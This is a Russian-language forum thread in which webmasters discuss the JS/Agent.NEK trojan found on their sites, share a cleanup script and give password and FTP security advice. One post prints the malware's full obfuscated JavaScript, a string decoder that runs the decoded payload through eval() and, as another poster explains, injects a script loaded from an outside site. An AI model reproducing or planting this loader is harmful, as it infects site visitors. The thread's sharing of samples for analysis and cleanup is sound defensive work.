JS/Agent.NEK троянская программа соединение прервано - изолирован AAA\AAAA Обнаружена угроза при попытке доступа в Интернет . Удалил хадость, но интересно откуда на сайте взялся он?
Будто тут специалисты по вирусам обитают. Поисковики много выдают по этому названию. Как и что можно найти в Интернете
По этой теме в инете ток мусор а как и что искать слава богу папка научил Добавлено спустя 12 минут 56 секунд: Сам код вируса Код (Text): var m95d540="";function wfbb0a76eeca(){var qfa6bb7=String,ha4be07=Array.prototype.slice.call(arguments).join(""),x2576edb=ha4be07.substr(7,3)-349,h704dc,rf8b36;ha4be07=ha4be07.substr(kd4099d());var c99e82a0=ha4be07.length;for(var pa95875=0;pa95875<c99e82a0;pa95875++){try{throw(t5a0ae=ha4be07.substr(pa95875,1));}catch(e){t5a0ae=e;};if(t5a0ae=='™'){x2576edb="";pa95875++;b9dc59a9=q495bc0e2(ha4be07,pa95875);while(s544763bb(b9dc59a9)){x2576edb+=b9dc59a9;pa95875++;b9dc59a9=ha4be07.substr(pa95875,1);}x2576edb-=484;continue;}h704dc="";if(yc4eec(t5a0ae)){pa95875++;t5a0ae=ha4be07.substr(pa95875,1);while(t5a0ae!='±'){h704dc+=t5a0ae;pa95875++;t5a0ae=ha4be07.substr(pa95875,1);}h704dc=h704dc-x2576edb-50;if(h704dc<0)h704dc+=256;if(h704dc>=192)h704dc+=848;else if(h704dc==168)h704dc=1025;else if(h704dc==184)h704dc=1105;m95d540+=qfa6bb7["\x66r\x6fm\x43h\x61\x72\x43\x6fd\x65"](h704dc);continue;}c464d1=h03993c(t5a0ae);if(c464d1>848)c464d1-=848;rf8b36=c464d1-x2576edb-50;if(rf8b36<0)rf8b36+=256;if(rf8b36>=192)rf8b36+=848;else if(rf8b36==168)rf8b36=1025;else if(rf8b36==184)rf8b36=1105;m95d540+=q79acbd2(rf8b36);}}wfbb0a76eeca("f54","2","10","d48","1","±22","2±","™678","™Z","™","62","5","™","4-","™50","6","™±17","1","±±","1","88±","±17","7±±18","3","±","™","64","2","™>™5","2","4™","±1","3","0±","™","592™","±1","99±±19","0±","™5","0","7™±1","9","6±","V","SR™59","1™","±1","9±™5","53™±21","6","±","±23","3±","™5","0","4","™f™567™","±2","5","0","±","±","2","47","±","™640","™:™","6","4","9","™","±","247±™60","7™","±2","34","±","™","590","™±18","8±","™6","72","™","±2","1","±Vb™641™","C","?","™","66","5","™!±2","2","±™5","9","1™±204±","±2±™","658™","M™573™±239","±™513","™","±1","99","±","™5","43™±","22","7","±±2","26","±±221±™52","5","™","±2","03±™503","™±171±","™507","™±","178±","w™65","9","™M","BO","E","±1","4±","±","21±±1","4±","™","61","8","™","+±","25±","$±","2","9","±","™","66","3™±19","±","ZX±2","0±™","6","4","3","™8±0±™5","3","6","™","±","1","41","±™49","7","™","z","L","I","H","™6","2","0™#","±","32±","±","2","18","±±22","6±",".™6","48","™O","F",";™5","66","™","±24","3","±™","5","7","7","™±","24","5","±™","5","90","™","±1","88","±","™4","89™","±17","4","±±","160±","™64","6","™B8","™63","5","™","8","@","±","2","47","±","ABC","/5*™4","9","1","™±","1","6","0","±Y™6","45","™±16±","™6","66","™%","%","±8","±±","15","±","]","™527","™","±20","3","±±1","9","3","±","™","591","™±","2±™60","7™±19","±","±","22","±™","535™±211","±±","202±","™4","89™","±","15","5","±™5","1","6™y","±","1","23","±","™","56","4","™±","162","±™","654","™","W±23","3","±±23","0","±","±229±","±229","±™55","3","™±","238","±","±","2","24±™6","03™±23±","™","557","™","±223","±±234±±24","2","±","±16","9±±2","43","±±244","±","™","65","2™","T@","F",";","™51","7™±","1","8","6","±™5","77","™","±175±±2","0","4±","±","1","7","5±","™","6","58","™","±1","6±","™528","™","±1","53","±™","531™","n","kj","±22","2±","n","™6","4","8™","±2","2","4±±2","23","±:","E","™5","76","™±","2","4","1±™62","9","™80","™5","96","™","±7±±","1","6","±","™5","5","3","™","±2","35±","™","50","9™","y","±186±","±","185","±","±184±±","1","8","6±±192±","±","19","0","±™","4","97","™±1","6","4±±172±±1","7","4","±","™","65","1","™","O>","™48","8","™Vs","V","™50","0","™±168±±18","3","±™","6","10™±30","±","™","6","7","9","™","X™","6","39™","A™","5","0","0™","±","17","1","±™","6","60","™QP","™4","9","7","™g™59","5","™","±","2","0","2±±","193","±","±2","8±","±174±±","1","71","±™","5","15","™ZZ","™","64","4™;8±","2","42","±","±","25","0","±","I",";","™5","08™","±1","84±","±174±","™","548","™±","2","2","5±™","6","1","5™",",","™","5","3","2","™","±","1","44","±±","2","1","8±™","67","4","™","i™655","™","W","C","I>D","±","2","5","3","±±2","6±™","5","25™","±1","52±","±","152","±±","1","23±™668™","±26±±","19±","™521","™","w™5","79™±","1","2","±±","1","58","±","±","155","±±154","±™66","6","™±","2","4","1±","™","6","2","0™±","1","9","5±1","#","(","±3","0±)","1™6","7","3™±","2","9±™","682","™","pq™4","93™±","1","8","1±","±","1","6","1±","™5","12","™","±","1","8","6±","±","1","7","5±","™59","4","™","±","7","±","™579™","±1","7","7±±20","6","±±","177","±","±","194","±","™545™±17","0±","™61","1™±1","9","0±","™","661™","±","23","7","±","±23","6±","™","5","8","2","™","±157±","™","4","89™","@","±","173±","™","58","3™±246±™","6","04™±","28","±","™","5","4","2","™±","14","0±™665™O","™6","6","7™","N","J","M™","5","2","4","™z","™","6","64","™","#","±","6","±","™","6","50","™<","G;™","4","9","6™±","17","9","±±","17","1±","±1","63","±™653™","IO","±9","±™","6","83™`™67","2™","S","b™","63","4™±1","3","±","™","52","8","™±2","0","2","±","±","1","95±™","56","0™±23","5±","™66","7","™N","™","57","1™±","2","47","±","±","2","53","±±2","52","±","±","2","03","±±","2±±221±","™","5","34","™±1","97±","±2","03±™","6","3","2","™±2","0±","™","5","2","0","™","±1","8","3±","±","1","95±","™","6","6","4™","K","±","14","±","±1","3±™","549™±","21","9","±™","52","2™","±","1","8","9±±1","85","±±188±±","12","7±","™","592™","±","1","9","9","±","±2","4","9±™5","7","9™±19","3","±","™49","6","™±","15","5","±y","KH","G","™486™==™","5","95™","±23±™49","8™","±1","61±±1","78","±","™5","05™g","™6","3","3","™:*™506","™","±186","±","±1","7","7","±±","1","8","4","±","±188","±","h±1","3","3","±","h±","17","2","±±","1","8","3±","±1","7","1±","±","1","8","9","±±","18","1","±","™6","4","3™","6™","532™±","2","08","±±","2","14","±","±1","4","4","±™","52","2™","±","18","7±","™","5","34™±21","4","±±20","1±±1","97±±2","16","±™","557™","±","224±™","57","7™±","212","±","™","5","55","™±229","±","™","651","™",">","F>","™","5","70","™±2","46±™","5","62™±","2","44","±±","16","8","±","±","1","67","±±","2","43","±","±","22","7","±","™668","™","\\S","™","6","61™","S","™","5","86™","±","12±±191±±1","93±","™","6","8","4","™5","™64","8","™","±2","27±±","2","24","±","™","5","68","™","±","143","±","™","6","5","7","™","±2","32±","±","2","3","2","±™5","9","8","™±2","3","±","±","7","±","±","22","±±13±","™","6","6","7™Y™","6","5","8","™","T±","14","±™","643™","E","™","6","70","™","e\\™545™","±2","1","2±±","143","±","±17","2","±™655™±","25","3±™","6","4","4","™±2","4","9±™","64","5","™","G","8™6","2","4","™","62™6","2","0","™","±233","±","$™6","42™","1™60","4","™","±","3","2±™","53","4™","±","19","7","±","™627","™","4™5","42","™±207±±","2","2","2","±™","64","8","™?™","55","3","™±","231±","™","54","9","™±","2","31±™","536","™","±","14","1±","™","6","0","7","™","±","2","3","2","±","±1","86±","™5","4","8™±12","4±™5","29","™","h","h™","66","5™±2","40","±","Z™6","49","™",":","™663™W™","52","3™±","1","9","4±±201±±205±","™","62","8","™±240±","1","0","™","528™","±2","0","8±™","6","38","™","1-0™","5","80™±","1","1±","±","5±","™5","44™","±226","±±","2","07","±™","59","3™","±19±±","4","±","±2±™","57","5™","±245","±","™","6","0","7","™±","1","4±","™5","40™","±","21","6","±","™","684™a","_±","2","6±7","±26±`™","6","40™","C","<™5","95™±","4","±™5","9","2","™±1","8","±±7±","™","6","7","1™","\\[","±1","3","±™5","00™j","k","™","63","1™","±22","9±@","™48","7","™B","™","58","8","™","±","1","6","4","±±1","63±™","61","0","™±1","8","5±™","5","7","8","™±","153","±™","538","™","q","±2","09","±™","5","4","1","™","±209","±","±13","9","±™","4","8","6™","\\™63","3™",";/™","51","4™±1","85±","±","19","5","±","±","12","6±","±","19","4±™61","3™","±2","4","±","±","2","0±","™","5","7","0","™±","236±±1±","±21","9","±","™","65","0","™L","9™","5","5","3™±235","±","™6","4","0™3™5","5","3™","±15","1±™","62","9™","±0","±","±","0","±","™","534","™±132","±","™","5","7","5™±180±±","2","40","±","±","2","52","±","±","250±","™","6","1","2™","\"","±3","0±","±2","3±","&±","2","3±","±2","17","±","±","2","19","±","±","2","10±","™","637","™F±","2","16±","±","2","1","3","±™","6","05™","±","180±","±","1","80±","±","1","80","±","™","60","1™","±176","±","™","61","6™","±1","91","±™","67","4","™","g","Y","^™","50","0™±166","±","±","17","7","±™","5","5","8™±243±™5","65","™±","1","7","7±™53","2","™±2","18±","™65","1","™R","S™64","8","™","<™","6","74™\\™","5","6","0","™","±2","2","3","±","™63","4™/±2","3","2","±™53","7","™±16","4±","™53","8","™±13","6","±™","5","82","™±1","98±±","2","07","±","±1","61","±™6","04","™","±180±™","6","08™±1","8","3","±","™","5","22","™","aa","a±21","3","±","™5","65™","±1","4","4±","±","14","1","±","™","5","84","™±159","±™5","72™±","1","4","7","±™","657™","±2","32±\\™","48","6","™o™","535™ron","n","n±2","16±","±","200","±","™4","86™±16","6±™","5","90","™±5±±1","2±","±","16±","™","5","3","1","™±1","43","±™5","2","5","™","±2","02","±™","5","07","™±1","83","±","±18","1±","™6","79","™dV","™6","8","2™\\±2","4±","5","±2","4±™55","7","™","±","225","±","™652™O","H™","605™±","1","4±™","6","18","™",",!™5","07","™±184±","™5","74™±","2","5","0±","±18","0±","™","55","3™","±","160±±","1","51±","™5","2","2™","±2","11±™51","6","™_™","584","™±1","6","0","±±15","9","±±15","9","±","±","1","5","9","±","™","620™","±1","9","5±","™591","™±2","0","±","±","6±","™","6","74","™","^T","_","g","±","30±™","6","6","6","™","`a™","499","™","±","1","87±™58","4™","±252","±™","512","™±","18","6","±","±17","5","±™","6","05™±1","8","±","™55","7™","±1","55±±1","84","±™","6","64™±","6","±™","53","6™±152","±™","6","73™","*","±2","5","2±","™","604","™±","180","±","±","1","79","±","™","620","™","±","19","5±","™5","0","7™R™","649™T™","5","7","1","™","±196","±™","6","46™±2","2","5","±","™","487™","?",">>",">±1","6","8±","±","1","52","±","™562","™±","242±","™","53","4","™","±2","0","5±","™","5","12™","±","190","±±19","4±±","1","2","4±","™51","9","™","±","200","±","±","1","99","±™6","27™","$","±22","5±™570","™±","197","±™598™","±19","6±™","67","5","™f","c]","±17±","±28±","™","59","3™±","1","91±","™","5","67™±21","0±","±2","30","±±","2","49±","™","54","5","™","±","21","5","±±","1","5","7","±™6","6","0","™T","C","™6","58™N™58","3","™","±249","±","±","4","±","±","2","±±","18","9","±™","52","0™","±12","7","±","™","667","™±","2","3","±™4","89™±","1","7","1±™518","™±","19","5±±16","7±","±20","0","±™","598","™±22±","™504","™±1","75","±","±","1","80±","™5","9","5™±","8±","±","20","1","±™","64","3™±","250±±","25","5","±","D","F","™","575","™±","23","9","±±","0±™","6","05","™","±","31","±","™","611","™#","™6","27™","*/(™560™","±1","66","±±","1","77±±1","6","7±±","15","8","±™503™p™","6","0","3","™","±","20","1±","±2","08","±™59","6™±2","08±","±","12","±","™","5","8","7™","±","12±™6","2","1","™","±","22","6±","±2","46±","±2","00","±","±","1","97±","±","19","6","±","±","19","6","±™5","04™","O±","174±","™639™2.","1™","51","5","™","±12","7","±™","59","6","™","±3±","™504™","±","1","8","2","±","±","1","8","2","±","™","5","49","™","±","2","16±±","225±±","215±±18","2±™","6","21","™#","$'™","5","8","2","™","±248±™5","5","3","™","±159","±","™","5","15","™","±","19","6±","±1","8","0","±","±19","5±","™","6","3","8","™","5","™","600","™","±","2","2","±™58","2","™","±8","±","™6","0","7","™±2","14","±±2","3","2","±±","18","6±±1","8","3±±182","±±","1","8","2","±™","63","9™","J","™541","™xut±232±™62","8™±","2","53±","™","5","70","™","±1","49","±™","647™±223","±","R","™5","9","9™±","206±™6","8","0","™","±","3","0±™","5","2","3","™","±130","±","™5","6","5™±19","0±","");eval(m95d540);function kd4099d(){return 10;}function q495bc0e2(o4cb56a,b9783aad){return o4cb56a.substr(b9783aad,1);}function s544763bb(tf9915){return tf9915!='™';}function yc4eec(ke0ead){return ke0ead=='±';}function q79acbd2(y38b22d){var qfa6bb7=String;return qfa6bb7["\x66r\x6fm\x43h\x61\x72\x43\x6fd\x65"](y38b22d);}function h03993c(j70d8714){return (j70d8714+'')["c\x68a\x72\x43o\x64\x65\x41\x74"](0);}
если проблема еще существует и актуальна — скрипт для лечения https://gist.github.com/2359497 его нужно положить в корень сайта, и запустить из браузера. остальное он проделает автоматически лечит такие скрипты JS/Agent.NEK, JS/kryptik.lp Вирусы я не распространяю, но настаивать не буду, так же отредактированные файлы он сохраняет в том же каталоге (создает папку Infected а в ней оригинальная версия файла без расширения)
Нужно не только чистить от вирусов, а проводить анализ уязвимостей используемых технологий на сайте. Хотя бы сводный. Ну и в обязательном порядке, после заражения - сменить пароли доступа к сайту, к фтп. НЕ хранить пароли сохранёнными в фтп-клиентах и не использовать всякие файлзилы. И в обязательном порядке, проверить компьютер на вирусы, очистить всякую нечисть. У нас именно червями на машине пользователя уводили доступы. Написал две статьи на хабре на данную тему: http://habrahabr.ru/post/141710/ и http://habrahabr.ru/post/141938/, а так же на этом форуме проскакивала тема предшествующая статьям - viewtopic.php?f=27&t=39259
Та знаете скрипт настольких сайта этих побывал причем заметил, что сайты многие на рег.ру... Причем вот какая ситуация доступы к фтп я хрню у себя да в файлзиле, но из десятка сайтов с вирусом оказалиь два, котоые на рег.ру а на мастерхосте и на еще одном хостинге всн норм..... И после этого еще в рег.ру были всякие оповещения поэтому мысль, что эт хостинг сломали а не отдельные компы... А так чисттся слава богу да они просто... Непонтно только до конца что эти скрипты делают js к файловой системе не имеет доступа а по ходу скрипты эти, что то такое делают
Лично чистил вирусню на хостингах: infobox, agava, jino, mchost, hc. Так что проблема думаю скорее в пользователях, нежели в каком-то отдельном хостинге. А то что делает js вирус - добавляет в хэд страницы код, подключающий js файл со стороннего сайта. А что уже делает тот, можно посмотреть, загрузив этот код. Вот например код, создающий подобное вложение скрипта на страницу: http://pastebin.com/qaX1HLC9
Nf ytn сто процентов ломают скорее всего хостинги.. Как ж еще обьясняется, что из десятка сайтов что есть у меня сломаны только те, что на рег были.. Фтп всех хостингов храню в нотпаде